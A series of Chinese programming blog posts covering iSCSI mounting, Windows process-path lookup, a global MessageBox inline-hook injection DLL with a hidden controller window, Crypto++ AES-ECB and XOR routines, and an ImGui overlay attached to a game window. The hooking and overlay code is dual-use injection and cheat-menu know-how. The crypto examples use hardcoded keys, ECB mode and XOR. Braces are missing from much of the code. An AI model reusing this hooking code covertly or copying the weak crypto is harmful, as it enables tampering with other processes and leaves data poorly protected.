参数为将客户端主机作为一台节点服务器,-T iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8 参数为要使用的存储标签,-p 后面为iSCSI服务器的IP地址, --login 参数为登陆服务器,如果加 -u参数为卸载挂载资源[root@localhost ~]# iscsiadm -m node -T iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8 -p 192.168.1.20 --login Logging in to [iface: default, target: iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8, portal: 192.168.1.20,3260] (multiple) Login to [iface: default, target: iqn.2003-01.org.linux-iscsi.localhost.x8664:sn.8c7dcc63aea8, portal: 192.168.1.20,3260] successful.5.此时在iSCSI客户端上会多出一个/dev/sdb磁盘设备文件,接下来我们直接格式化挂在到/network-disk目录下root@localhost ~]# ll /dev/sd* brw-rw----. 1 root disk 8, 0 Nov 4 11:45 /dev/sda brw-rw----. 1 root disk 8, 1 Nov 4 11:45 /dev/sda1 brw-rw----. 1 root disk 8, 2 Nov 4 11:45 /dev/sda2 brw-rw----. 1 root disk 8, 16 Nov 4 12:06 /dev/sdb #此处就是远程的磁盘 [root@localhost ~]# mkfs.xfs /dev/sdb #格式化这个设备 meta-data=/dev/sdb isize=512 agcount=4, agsize=1310720 blks = sectsz=512 attr=2, projid32bit=1 = crc=1 finobt=0, sparse=0 data = bsize=4096 blocks=5242880, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 ftype=1 log =internal log bsize=4096 blocks=2560, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 [root@localhost ~]# mkdir /network-disk #创建挂载目录 [root@localhost ~]# mount /dev/sdb /network-disk/ #挂载设备 [root@localhost ~]# [root@localhost ~]# df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/rhel-root 17G 1.2G 16G 7% / devtmpfs 98M 0 98M 0% /dev tmpfs 110M 0 110M 0% /dev/shm /dev/sda1 1014M 130M 885M 13% /boot /dev/sr0 4.4G 4.4G 0 100% /mnt /dev/sdb 20G 33M 20G 1% /network-diskiSCSI客户端经过以上步骤之后,这个设备文件就可以像使用本地磁盘文件一样的操作啦6.接下来配置一下自动挂载功能,需要注意的是,挂载选项必须为_netdev,写错的话系统无法开机.由于/dev/sdb/是一个网络设备,而iSCSI是基于TCP/IP网络传输数据的,因此在配置自动挂载是应该加入_netdev参数,说明其是一个网络设备[root@localhost /]# ll /dev/disk/by-uuid/ total 0 lrwxrwxrwx. 1 root root 10 Nov 4 11:45 12b3708e-7ca4-4911-bfa2-57b85960e8e5 -> ../../dm-0 lrwxrwxrwx. 1 root root 9 Nov 4 11:45 2018-03-22-19-04-59-00 -> ../../sr0 lrwxrwxrwx. 1 root root 10 Nov 4 11:45 3d4eea6b-1db9-4d30-9174-bfac6faa4cab -> ../../sda1 lrwxrwxrwx. 1 root root 10 Nov 4 11:45 e791c0bf-f6e9-4843-b18d-be40cf3964c2 -> ../../dm-1 lrwxrwxrwx. 1 root root 9 Nov 4 12:08 ff233cc4-2255-4973-a686-9d394384faf6 -> ../../sdb [root@localhost /]# vim /etc/fstab [root@localhost /]# cat /etc/fstab # /etc/fstab # Created by anaconda on Sat Oct 13 12:32:13 2018 # Accessible filesystems, by reference, are maintained under '/dev/disk' # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info /dev/mapper/rhel-root / xfs defaults 0 0 UUID=3d4eea6b-1db9-4d30-9174-bfac6faa4cab /boot xfs defaults 0 0 UUID=ff233cc4-2255-4973-a686-9d394384faf6 /network-disk xfs defaults,_netdev 0 0 [root@localhost /]# mount -a如需配置Windows客户端只需要执行以下步骤.1.单击控制面板 --> 管理工具 --> iSCSI发起程序2.在目标选项卡 --> 输入服务器IP地址 --> 单击快速连接3.选择配置选项卡 --> 单击更改 --> 在标签末尾加上自定义的字符,此处为:client --> 单击确定4.单击目标选项卡 --> 单击下方的连接按钮5.单击此电脑 --> 右键选择管理 --> 选择磁盘管理 --> 即可看到磁盘信息

C/C++ 获取进程完整目录

输出特定进程所在位置的完整路径,并输出路径。方法1 定位某个进程(比如 QQMusic.exe)所在的全路径,下面是代码:string GetProcessInfo(HANDLE hProcess,char* processName) PROCESSENTRY32* pinfo = new PROCESSENTRY32; //进程信息 (pinfo->dwSize = sizeof(PROCESSENTRY32);) MODULEENTRY32* minfo = new MODULEENTRY32; //模块信息 (minfo->dwSize = sizeof(MODULEENTRY32);) char shortpath[MAX_PATH]; //保存路径变量 int flag = Process32First(hProcess,pinfo); // 从第一个进程开始 while(flag){ // 如果是 QQMusic.exe 这个进程 if(strcmp(pinfo->szExeFile, processName) == 0){ // 创建进程快照 HANDLE hModule = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, //(DWORD) 快照返回的对象,TH32CS_SNAPMODULE 是指 "特定进程的使用模块的列表" pinfo->th32ProcessID //(DWORD) 要获取快照进程的PID,当前进程/系统列表 快照时设为0 // 把第一个模块信息给 minfo Module32First( hModule, //(HANDLE) CreateToolhelp32Snapshot 的返回句柄 minfo // (LPMODULEENTRY32) 接收模块信息 // 把文件路径给 shortpath GetShortPathName( minfo->szExePath, // 文件路径(但最好不要用这个,因为这个碰到中文会出现乱码) shortpath, // 用来接收 minfo->szExePath 兼容中文的值 256 // 缓冲区大小 return shortpath; // 下一个进程 flag = Process32Next(hProcess, pinfo); return NULL; int main() HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); // 创建进程快照 PROCESSENTRY32 process = {sizeof(PROCESSENTRY32)}; // 用来接收 hProcessSnap 的信息 // 遍历进程快照 while (Process32Next(hProcessSnap,&process)){ // 找到 QQMusic.exe 进程 string processName = process.szExeFile; // char* 转 string if(processName == "QQMusic.exe"){ string s_exePath = GetProcessInfo(hProcessSnap,"QQMusic.exe"); // 进程的全路径 cout << s_exePath << endl; break; return 0; }方法2 第一种方法有些 bug,下面说下另一种方法另一种方法: HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); // 创建进程快照 PROCESSENTRY32 process = {sizeof(PROCESSENTRY32)}; // 用来接收 hProcessSnap 的信息 // 遍历进程快照 while (Process32Next(hProcessSnap,&process)){ // 获取进程名 string processName = process.szExeFile; cout << processName << endl; // 获取全路径 char chpath[MAX_PATH]; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process.th32ProcessID); GetModuleFileNameEx(hProcess,NULL,chpath,sizeof(chpath)); cout << chpath << endl; cout << "-------------------" << endl; }但是注意,这种方法不能获取路径在 system32 的进程路径,其余正常:方法3(推荐) 目前没有发现 Bug,无法读取应用程序拒绝访问的进程路径,其他没有问题。// dos 文件路径转 windows 文件路径 BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath) TCHAR szDriveStr[500]; TCHAR szDrive[3]; TCHAR szDevName[100]; INT cchDevName; INT i; //检查参数 if(!pszDosPath || !pszNtPath ) return FALSE; //获取本地磁盘字符串 if(GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr)) for(i = 0; szDriveStr[i]; i += 4) if(!lstrcmpi(&(szDriveStr[i]), _T("A:\\")) || !lstrcmpi(&(szDriveStr[i]), _T("B:\\"))){continue;} szDrive[0] = szDriveStr[i]; szDrive[1] = szDriveStr[i + 1]; szDrive[2] = '\0'; // 查询 Dos 设备名 if(!QueryDosDevice(szDrive, szDevName, 100)){return FALSE;} // 命中 cchDevName = lstrlen(szDevName); if(_tcsnicmp(pszDosPath, szDevName, cchDevName) == 0){ // 复制驱动器 lstrcpy(pszNtPath, szDrive); // 复制路径 lstrcat(pszNtPath, pszDosPath + cchDevName); return TRUE; lstrcpy(pszNtPath, pszDosPath); return FALSE; // 获取进程全路径 BOOL GetProcessFullPath(DWORD dwPID,string &fullPath){ TCHAR szImagePath[MAX_PATH]; TCHAR pszFullPath[MAX_PATH]; HANDLE hProcess; // 初始化失败 if(!pszFullPath){return FALSE;} pszFullPath[0] = '\0'; // 获取进程句柄失败 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPID); if(!hProcess){return FALSE;} // 获取进程完整路径失败 if(!GetProcessImageFileName( hProcess, // 进程句柄 szImagePath, // 接收进程所属文件全路径的指针 MAX_PATH // 缓冲区大小 CloseHandle(hProcess); return FALSE; // 路径转换失败 if(!DosPathToNtPath(szImagePath, pszFullPath)){ CloseHandle(hProcess); return FALSE; CloseHandle(hProcess); // 导出文件全路径 fullPath = pszFullPath; return TRUE; }调用例子:tring str_filePath; GetProcessFullPath(进程ID,str_filePath);

C/C++ HOOK 全局 API

全局 Hook 不一定需要用到 Dll ,比如全局的鼠标钩子、键盘钩子都是不需要 Dll 的,但是要钩住 API,就需要 Dll 的协助了,下面直接放上 Dll 的代码,注意这里使用的是 MFC DLL。// Test_Dll(mfc).cpp : 定义 DLL 的初始化例程。 #include "stdafx.h" #include "Test_Dll(mfc).h" #ifdef _DEBUG #define new DEBUG_NEW #endif #pragma region 我的代码 #define UM_WNDTITLE WM_USER+100 // 自定义消息(私有窗口类的消息标识符) // 全局共享变量(多进程之间共享数据) #pragma data_seg(".Share") HWND g_hWnd = NULL; // 主窗口句柄 HHOOK hhk = NULL; // 鼠标钩子句柄 HINSTANCE hInst = NULL; // 本dll实例句柄 #pragma data_seg() #pragma comment(linker, "/section:.Share,rws") // 全局变量 HANDLE hProcess=NULL; // 进程句柄 BOOL bIsInjected=FALSE; // 是否注入完成 typedef int (WINAPI *MsgBoxA)(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType); // 声明一个别名 MsgBoxA typedef int (WINAPI *MsgBoxW)(HWND hWnd,LPCWSTR lpText,LPCWSTR lpCaption,UINT uType); // 声明一个别名 MsgBoxW MsgBoxA oldMsgBoxA=NULL; // 保存原函数地址 MsgBoxW oldMsgBoxW=NULL; // 保存原函数地址 FARPROC pfMsgBoxA=NULL; // 指向原函数地址的远指针 FARPROC pfMsgBoxW=NULL; // 指向原函数地址的远指针 BYTE OldCodeA[5]; // 老的系统API入口代码 BYTE NewCodeA[5]; // 要跳转的API代码 (jmp xxxx) BYTE OldCodeW[5]; // 老的系统API入口代码 BYTE NewCodeW[5]; // 要跳转的API代码 (jmp xxxx) int WINAPI MyMessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType); // 我们自己的 MessageBoxA 函数 int WINAPI MyMessageBoxW(HWND hWnd,LPCWSTR lpText,LPCWSTR lpCaption,UINT uType); // 我们自己的 MessageBoxW 函数 // 开启钩子(修改 API 头 5 个字节) void HookOn() // 检验进程句柄是否为空 ASSERT(hProcess!=NULL); DWORD dwTemp = 0, // 修改后的内存保护属性 dwOldProtect, // 之前的内存保护属性 dwRet = 0, // 内存写入成功标志,0不成功、1成功 dwWrite; // 写入进程内存的字节数 // 更改虚拟内存保护 VirtualProtectEx( hProcess, // 进程句柄 pfMsgBoxA, // 指向保护区域地址的指针 5, // 要更改的区域的字节大小 PAGE_READWRITE, // 内存保护类型,PAGE_READWRITE:可读可写 &dwOldProtect // 接收原来的内存保护属性 // 判断是否成功写入内存 dwRet = WriteProcessMemory( hProcess, // 进程句柄 pfMsgBoxA, // 指向写入地址的指针 NewCodeA, // 指向存放写入内容的缓冲区指针 5, // 写入字节数 &dwWrite // 接收传输到进程中的字节数 if (0==dwRet||0==dwWrite){ TRACE("NewCodeA 写入失败"); // 记录日志信息 // 恢复内存保护状态 VirtualProtectEx(hProcess,pfMsgBoxA,5,dwOldProtect,&dwTemp); // 同上,操作剩下的 MessageBoxW VirtualProtectEx(hProcess,pfMsgBoxW,5,PAGE_READWRITE,&dwOldProtect); dwRet=WriteProcessMemory(hProcess,pfMsgBoxW,NewCodeW,5,&dwWrite); if (0==dwRet||0==dwWrite){TRACE("NewCodeW 写入失败");} VirtualProtectEx(hProcess,pfMsgBoxW,5,dwOldProtect,&dwTemp); // 关闭钩子(修改 API 头 5 个字节) void HookOff() // 检验进程句柄是否为空 ASSERT(hProcess!=NULL); DWORD dwTemp = 0, // 修改后的内存保护属性 dwOldProtect = 0, // 之前的内存保护属性 dwRet = 0, // 内存写入成功标志,0不成功、1成功 dwWrite = 0; // 写入进程内存的字节数 // 更改虚拟内存保护 VirtualProtectEx( hProcess, // 进程句柄 pfMsgBoxA, // 指向保护区域地址的指针 5, // 要更改的区域的字节大小 PAGE_READWRITE, // 内存保护类型,PAGE_READWRITE:可读可写 &dwOldProtect // 接收原来的内存保护属性 dwRet = WriteProcessMemory( hProcess, // 进程句柄 pfMsgBoxA, // 指向写入地址的指针 OldCodeA, // 指向存放写入内容的缓冲区指针 5, // 写入字节数 &dwWrite // 接收传输到进程中的字节数 if (0==dwRet||0==dwWrite){ TRACE("OldCodeA 写入失败"); // 记录日志信息 // 恢复内存保护状态 VirtualProtectEx(hProcess,pfMsgBoxA,5,dwOldProtect,&dwTemp); // 同上,操作剩下的 MessageBoxW VirtualProtectEx(hProcess,pfMsgBoxW,5,PAGE_READWRITE,&dwOldProtect); WriteProcessMemory(hProcess,pfMsgBoxW,OldCodeW,5,&dwWrite); if (0==dwRet||0==dwWrite){TRACE("OldCodeW 写入失败");} VirtualProtectEx(hProcess,pfMsgBoxW,5,dwOldProtect,&dwTemp); // 代码注入 void Inject() // 如果还没有注入 if (!bIsInjected){ //保证只调用1次 bIsInjected=TRUE; // 获取函数地址 HMODULE hmod=::LoadLibrary(_T("User32.dll")); oldMsgBoxA=(MsgBoxA)::GetProcAddress(hmod,"MessageBoxA"); // 原 MessageBoxA 地址 pfMsgBoxA=(FARPROC)oldMsgBoxA; // 指向原 MessageBoxA 地址的指针 oldMsgBoxW=(MsgBoxW)::GetProcAddress(hmod,"MessageBoxW"); // 原 MessageBoxW 地址 pfMsgBoxW=(FARPROC)oldMsgBoxW; // 指向原 MessageBoxW 地址的指针 // 指针为空则结束运行 if (pfMsgBoxA==NULL){MessageBox(NULL,_T("cannot get MessageBoxA()"),_T("error"),0);return;} if (pfMsgBoxW==NULL){MessageBox(NULL,_T("cannot get MessageBoxW()"),_T("error"),0);return;} // 将原API中的入口代码保存入 OldCodeA[],OldCodeW[] lea edi,OldCodeA ; 把 OldCodeA 的地址给 edi mov esi,pfMsgBoxA ; 把 MessageBoxA 的地址给 esi cld ; 方向标志位复位 movsd ; 复制双子 movsb ; 复制字节 lea edi,OldCodeW ; 以相同的方式操作 MessageBoxW mov esi,pfMsgBoxW movsd movsb // 将原 API 第一个字节改为 jmp NewCodeA[0]=0xe9; NewCodeW[0]=0xe9; // 计算 jmp 后面要跟的地址 lea eax,MyMessageBoxA ; 将 MyMessageBoxA 的地址给 eax mov ebx,pfMsgBoxA ; 将 MessageBoxA 的地址给 ebx sub eax,ebx ; 计算 jmp 后面要跟的地址 sub eax,5 mov dword ptr [NewCodeA+1],eax lea eax,MyMessageBoxW ; 以相同的方式操作 MessageBoxW mov ebx,pfMsgBoxW sub eax,ebx sub eax,5 mov dword ptr [NewCodeW+1],eax // 开始 Hook HookOn(); // 假 MessageBoxA int WINAPI MyMessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType) int nRet = 0; // 先恢复 Hook,不然会造成死循环 HookOff(); // 检验 MessageBoxA 是否失败(失败返回 0) nRet = ::MessageBoxA(hWnd,"Hook MessageBoxA",lpCaption,uType); //nRet=::MessageBoxA(hWnd,lpText,lpCaption,uType); // 调用原函数(如果你想暗箱操作的话) // 再次 HookOn,否则只生效一次 HookOn(); return nRet; // 假 MessageBoxW int WINAPI MyMessageBoxW(HWND hWnd,LPCWSTR lpText,LPCWSTR lpCaption,UINT uType) int nRet = 0; // 先恢复 Hook,不然会造成死循环 HookOff(); // 检验 MessageBoxW 是否失败(失败返回 0) nRet = ::MessageBoxW(hWnd,_T("Hook MessageBoxW"),lpCaption,uType); //nRet=::MessageBoxW(hWnd,lpText,lpCaption,uType); // 调用原函数(如果你想暗箱操作的话) // 再次 HookOn,否则只生效一次 HookOn(); return nRet; #pragma endregion #pragma region 忽略掉 //TODO: 如果此 DLL 相对于 MFC DLL 是动态链接的, // 则从此 DLL 导出的任何调入 // MFC 的函数必须将 AFX_MANAGE_STATE 宏添加到 // 该函数的最前面。 // 例如: // extern "C" BOOL PASCAL EXPORT ExportedFunction() // { // AFX_MANAGE_STATE(AfxGetStaticModuleState()); // // 此处为普通函数体 // } // 此宏先于任何 MFC 调用 // 出现在每个函数中十分重要。这意味着 // 它必须作为函数中的第一个语句 // 出现,甚至先于所有对象变量声明, // 这是因为它们的构造函数可能生成 MFC // DLL 调用。 // 有关其他详细信息, // 请参阅 MFC 技术说明 33 和 58。 // CTest_DllmfcApp BEGIN_MESSAGE_MAP(CTest_DllmfcApp, CWinApp) END_MESSAGE_MAP() // CTest_DllmfcApp 构造 CTest_DllmfcApp::CTest_DllmfcApp() // TODO: 在此处添加构造代码, // 将所有重要的初始化放置在 InitInstance 中 // 唯一的一个 CTest_DllmfcApp 对象 CTest_DllmfcApp theApp; #pragma endregion // 程序入口 BOOL CTest_DllmfcApp::InitInstance() CWinApp::InitInstance(); #pragma region 我的代码 // 获取 dll 自身实例句柄 hInst = AfxGetInstanceHandle(); // 获取调用 dll 的进程 ID DWORD dwPid = ::GetCurrentProcessId(); // 获取调用 dll 的进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS,0,dwPid); // 开始注入 Inject(); #pragma endregion return TRUE; // 程序出口 int CTest_DllmfcApp::ExitInstance() // TODO: 在此添加专用代码和/或调用基类 #pragma region 我的代码 // 恢复其他进程的的 API HookOff(); #pragma endregion return CWinApp::ExitInstance(); #pragma region 我的代码 // 鼠标钩子回调 LRESULT CALLBACK MouseProc( int nCode, // 钩子代号 WPARAM wParam, // 消息标识符 LPARAM lParam // 光标的坐标 if (nCode==HC_ACTION){ // 将钩子所在窗口句柄发给主程序 ::SendMessage( g_hWnd, // 接收消息的窗口句柄 UM_WNDTITLE, // 发送的消息 wParam, // 附加消息信息 (LPARAM)(((PMOUSEHOOKSTRUCT)lParam)->hwnd) // 附加消息信息,此处为鼠标所在窗口的窗口句柄 typedef struct tagMOUSEHOOKSTRUCT { // 传递给 WH_MOUSE 的鼠标事件信息结构体 POINT pt; // 光标的 xy 坐标 HWND hwnd; // 光标对应的窗口句柄 UINT wHitTestCode; // 是否击中 ULONG_PTR dwExtraInfo; // 消息关联 } MOUSEHOOKSTRUCT, *PMOUSEHOOKSTRUCT, *LPMOUSEHOOKSTRUCT; // 讲消息传递给下一个钩子 return CallNextHookEx( hhk, // 钩子句柄,此处为鼠标钩子 nCode, wParam, lParam // 安装钩子 BOOL WINAPI StartHook(HWND hWnd) // 获取鼠标所在的主窗口句柄 g_hWnd = hWnd; // 获取鼠标钩子句柄 hhk = ::SetWindowsHookEx( WH_MOUSE, // 钩子类型 MouseProc, // 指向回调函数的指针 hInst, // dll句柄,这里为本 dll 的实例句柄 NULL // 表示与所在桌面的所有线程相关联 // 判断 SetWindowsHookEx 是否执行成功 if (hhk==NULL){return FALSE;} else{return TRUE;} // 卸载钩子 VOID WINAPI StopHook() // 这里只恢复了自身 API HookOff(); if (hhk!=NULL) // UnHook 鼠标钩子 UnhookWindowsHookEx(hhk); // 卸载 dll FreeLibrary(hInst); #pragma endregion因为这里没法使用代码折叠,所以不太直观,我放一张折叠后的图:在 .def 文件中添加导出函数:(一般就在 .cpp 文件的下面); Test_Dll(mfc).def : 声明 DLL 的模块参数。 LIBRARY EXPORTS StartHook StopHook ; 此处可以是显式导出然后开始写调用 Dll 的代码:(这里要用 MFC 项目,因为全局鼠标钩子需要用到 CWnd 中的 m_hWnd)由于我认为大部分的全局 HOOK 需要在隐藏自己然后默默执行,这与 MFC 的窗口交互模式风格相冲突,所以我在这里隐藏了 MFC 的窗口,具体方法可以参考:https://blog.csdn.net/Simon798/article/details/99063945HINSTANCE g_hInst; // 全局变量,同 HMODULE void CTest_MFCDlg::HOOK() // TODO: 在此添加控件通知处理程序代码 // 加载 dll(需要根据自己 dll 的实际路径而定,建议使用相对路径) g_hInst = ::LoadLibrary(_T("E:\\MyFiles\\Programing\\vs2012\\MyPrograms\\Test_Dll(mfc)\\Debug\\Test_Dll(mfc).dll")); // 判断是否加载成功 if (g_hInst==NULL){AfxMessageBox(_T("加载 dll 失败"));} // 声明别名 typedef BOOL (WINAPI* StartHook)(HWND hWnd); // 调用 dll 中的导出函数 StartHook StartHook Hook = (StartHook)::GetProcAddress(g_hInst,"StartHook"); // 判断导出函数是否调用成功 if (Hook==NULL){AfxMessageBox(_T("StartHook 调用失败"));} // 开始 Hook Hook(m_hWnd); void CTest_MFCDlg::UNHOOK() // TODO: 在此添加控件通知处理程序代码 // 检查是否需要 UnHook if (g_hInst==NULL){return;} // 声明别名 typedef VOID (WINAPI* StopHook)(); // 调用 dll 中的导出函数 StopHook StopHook UnHook = (StopHook)::GetProcAddress(g_hInst,"StopHook"); // 判断导出函数是否调用成功 if (UnHook==NULL){AfxMessageBox(_T("StopHook 调用失败"));return;} // 开始 UnHook UnHook(); // 卸载 dll FreeLibrary(g_hInst); // 重置 g_hInst , 方便下一次 UnHook 时判断 g_hInst=NULL; // 窗体创建事件 int CTest_MFCDlg::OnCreate(LPCREATESTRUCT lpCreateStruct) if (CDialogEx::OnCreate(lpCreateStruct) == -1) return -1; // TODO: 在此添加您专用的创建代码 // 程序被打开时,执行 HOOK() 函数。这里就不演示 UNHOOK 了。 HOOK(); void CTest_MFCDlg::OnWindowPosChanging(WINDOWPOS* lpwndpos) CDialogEx::OnWindowPosChanging(lpwndpos); // TODO: 在此处添加消息处理程序代码 // 隐藏窗体 lpwndpos->flags &= ~SWP_SHOWWINDOW; CDialog::OnWindowPosChanging(lpwndpos); }效果图:

C/C++ 使用 cryptopp 加密解密

CryptLib 是新西兰奥克兰大学的Peter Gutmann先生花费了将近五年时间开发而成的一个加密安全工具包,它基于传统的计算机安全模型,并涉及到一个安全核心,各种抽象化了的对象位于核心之上。CRYPTLIB利用此加密库不同层次的接口,可以很容易地为各种应用系统提供安全服务,如加/解密、数字签名、认证等。Github地址:https://github.com/LYingSiMon/cryptopp引入cryptlib.lib以及所有项目中的头文件,并验证AES加密测试(ECB 模式为例)#include <iostream> #include "cryptlib.h" #include "rijndael.h" #include "modes.h" #include "files.h" #include "osrng.h" #include "hex.h" #include "base64.h" using namespace CryptoPP; // aes ebc 加密(输出 base64) std::string aes_encrypt_ecb_base64(std::string data , unsigned char* key, int keylen) std::string encrypt_str; CryptoPP::ECB_Mode<CryptoPP::AES>::Encryption ecb_encription(key, keylen); CryptoPP::StreamTransformationFilter stf_encription( ecb_encription, new CryptoPP::Base64Encoder(new CryptoPP::StringSink(encrypt_str)), CryptoPP::BlockPaddingSchemeDef::ZEROS_PADDING stf_encription.Put(reinterpret_cast<const unsigned char*>(data.c_str()), data.length() + 1); stf_encription.MessageEnd(); catch (std::exception e) { std::cout << e.what() << std::endl; return encrypt_str; // aes ebc 加密(输出 hex) std::string aes_encrypt_ecb_hex(std::string data , unsigned char* key, int keylen) std::string encrypt_str; CryptoPP::ECB_Mode<CryptoPP::AES>::Encryption ecb_encription(key, keylen); CryptoPP::StreamTransformationFilter stf_encription( ecb_encription, new CryptoPP::HexEncoder(new CryptoPP::StringSink(encrypt_str)), CryptoPP::BlockPaddingSchemeDef::ZEROS_PADDING stf_encription.Put(reinterpret_cast<const unsigned char*>(data.c_str()), data.length() + 1); stf_encription.MessageEnd(); catch (std::exception e) { std::cout << e.what() << std::endl; return encrypt_str; // aes ebc 解密(输出 base64) std::string aes_decrypt_ecb_base64(std::string base64_data, unsigned char* key, int keylen) std::string aes_encrypt_data; CryptoPP::Base64Decoder decoder; decoder.Attach(new CryptoPP::StringSink(aes_encrypt_data)); decoder.Put(reinterpret_cast<const unsigned char*>(base64_data.c_str()), base64_data.length()); decoder.MessageEnd(); std::string decrypt_data; CryptoPP::ECB_Mode<CryptoPP::AES>::Decryption ebc_description(key, keylen); CryptoPP::StreamTransformationFilter stf_description( ebc_description, new CryptoPP::StringSink(decrypt_data), CryptoPP::BlockPaddingSchemeDef::ZEROS_PADDING stf_description.Put( reinterpret_cast<const unsigned char*>(aes_encrypt_data.c_str()), aes_encrypt_data.length() stf_description.MessageEnd(); return decrypt_data; catch (std::exception e) { std::cout << e.what() << std::endl; return ""; // aes ebc 解密(输出 hex) std::string aes_decrypt_ecb_hex(std::string hex_data, unsigned char* key, int keylen) std::string aes_encrypt_data; CryptoPP::HexDecoder decoder; decoder.Attach(new CryptoPP::StringSink(aes_encrypt_data)); decoder.Put(reinterpret_cast<const unsigned char*>(hex_data.c_str()), hex_data.length()); decoder.MessageEnd(); std::string decrypt_data; CryptoPP::ECB_Mode<CryptoPP::AES>::Decryption ebc_description(key, keylen); CryptoPP::StreamTransformationFilter stf_description( ebc_description, new CryptoPP::StringSink(decrypt_data), CryptoPP::BlockPaddingSchemeDef::ZEROS_PADDING stf_description.Put( reinterpret_cast<const unsigned char*>(aes_encrypt_data.c_str()), aes_encrypt_data.length() stf_description.MessageEnd(); return decrypt_data; catch (std::exception e) { std::cout << e.what() << std::endl; return ""; int main() // ebc base64 std::string en_base64 = aes_encrypt_ecb_base64("hello cryptopp",(unsigned char*)"1234567812345678", 16); printf("en:%s \n", en_base64.c_str()); std::string de_base64 = aes_decrypt_ecb_base64(en_base64, (unsigned char*)"1234567812345678", 16); printf("de:%s \n", de_base64.c_str()); // ebc hex std::string en_hex = aes_encrypt_ecb_hex("hello cryptopp", (unsigned char*)"1234567812345678", 16); printf("en:%s \n", en_hex.c_str()); std::string de_hex = aes_decrypt_ecb_hex(en_hex, (unsigned char*)"1234567812345678", 16); printf("de:%s \n", de_hex.c_str()); (void)getchar(); return 0;

C/C++ 异或加密实现代码

一段使用C++开发实现的异或加解密方法,可用于对特定字符串数据进行数据加解密操作,方便后期调用。std::string Encrypt(std::string content, std::string secretKey) for (UINT i = 0; i < content.length(); i++) content[i] ^= secretKey[i % secretKey.length()]; return content; std::string Decrypt(std::string data, std::string secretKey) for (UINT i = 0; i < data.length(); i++) data[i] ^= secretKey[i % secretKey.length()]; return data;

ImGUI 1.87 绘制D3D外部菜单

ImGUI 它是与平台无关的C++轻量级跨平台图形界面库,没有任何第三方依赖,可以将ImGUI的源码直接加到项目中使用,该框架通常会配合特定的D3Dx9等图形开发工具包一起使用,ImGUI常用来实现进程内的菜单功能,而有些辅助开发作者也会使用该框架开发菜单页面,总体来说这是一个很不错的绘图库,如下将公开新版ImGUI如何实现绘制外部菜单的功能。ImGUI官方下载地址:https://github.com/ocornut/imgui/releases在使用ImGUI页面之前需要先来实现一个简单的附着功能,即如何将一个窗体附着到另一个窗体之上,其实代码很简单,如下所示当用户输入进程PID时,会自动跟随窗体并附着在窗体顶部。#include <Windows.h> #include <iostream> struct handle_data unsigned long process_id; HWND best_handle; // By: LyShark BOOL IsMainWindow(HWND handle) return GetWindow(handle, GW_OWNER) == (HWND)0 && IsWindowVisible(handle); BOOL CALLBACK EnumWindowsCallback(HWND handle, LPARAM lParam) // By: LyShark handle_data& data = *(handle_data*)lParam; unsigned long process_id = 0; GetWindowThreadProcessId(handle, &process_id); if (data.process_id != process_id || !IsMainWindow(handle)) { return TRUE; data.best_handle = handle; return FALSE; // By: LyShark HWND FindMainWindow(unsigned long process_id) handle_data data; data.process_id = process_id; data.best_handle = 0; EnumWindows(EnumWindowsCallback, (LPARAM)&data); return data.best_handle; int main(int argc, char* argv[]) DWORD pid = 28396; std::cout << "输入进程PID: " << std::endl; std::cin >> pid; // 获取屏幕宽和高 int iWidth = ::GetSystemMetrics(SM_CXSCREEN); int iHeight = ::GetSystemMetrics(SM_CYSCREEN); // 根据PID寻找游戏窗口 HWND hwnd = FindMainWindow(pid); while (1) SetTimer(hwnd, 1, 150, NULL); // 实现透明必须设置WS_EX_LAYERED标志 LONG lWinStyleEx = GetWindowLong(hwnd, GWL_EXSTYLE); lWinStyleEx = lWinStyleEx | WS_EX_LAYERED; SetWindowLong(hwnd, GWL_EXSTYLE, lWinStyleEx); SetLayeredWindowAttributes(hwnd, 0, RGB(40, 40, 40), LWA_ALPHA); // 去掉标题栏及边框 LONG_PTR Style = GetWindowLongPtr(hwnd, GWL_STYLE); Style = Style & ~WS_CAPTION & ~WS_SYSMENU & ~WS_SIZEBOX; SetWindowLongPtr(hwnd, GWL_STYLE, Style); // 至顶层窗口 最大化 SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, iWidth, iHeight, SWP_SHOWWINDOW); // 设置窗体可穿透鼠标 SetWindowLong(hwnd, GWL_EXSTYLE, WS_EX_TRANSPARENT | WS_EX_LAYERED); // 绘图 HDC hdc = ::GetDC(hwnd); HDC mdc = ::CreateCompatibleDC(hdc); // 创建画笔 HPEN hpen = CreatePen(PS_SOLID, 10, RGB(0, 255, 0)); // DC 选择画笔 SelectObject(hdc, hpen); // (画笔)从初始点移动到 50,50 MoveToEx(hdc, 100, 100, NULL); // (画笔)从初始点画线到 100,100 LineTo(hdc, 1000, 1000); RECT rect = {0}; rect.bottom = 10; rect.left = 20; rect.right = 20; rect.top = 15; DrawText(hdc, L"hello lyshark.com", strlen("hello lyshark.com"), &rect, DT_CALCRECT | DT_CENTER | DT_SINGLELINE); return 0; }绘制效果图:接着我们使用Imgui绘制一个动态菜单,首先下载imgui并打开项目中的examples目录,找到example_win32_directx9打开后自己配置好dx9SDK开发工具包。代码直接调用,并附加到Counter-Strike Source游戏窗体之上即可,这段代码也很简单。#include "imgui.h" #include "imgui_impl_dx9.h" #include "imgui_impl_win32.h" #include <d3d9.h> #include <tchar.h> #include <iostream> #pragma execution_character_set("utf-8") // 全局变量 // lyshark.com static HWND hwnd; static HWND 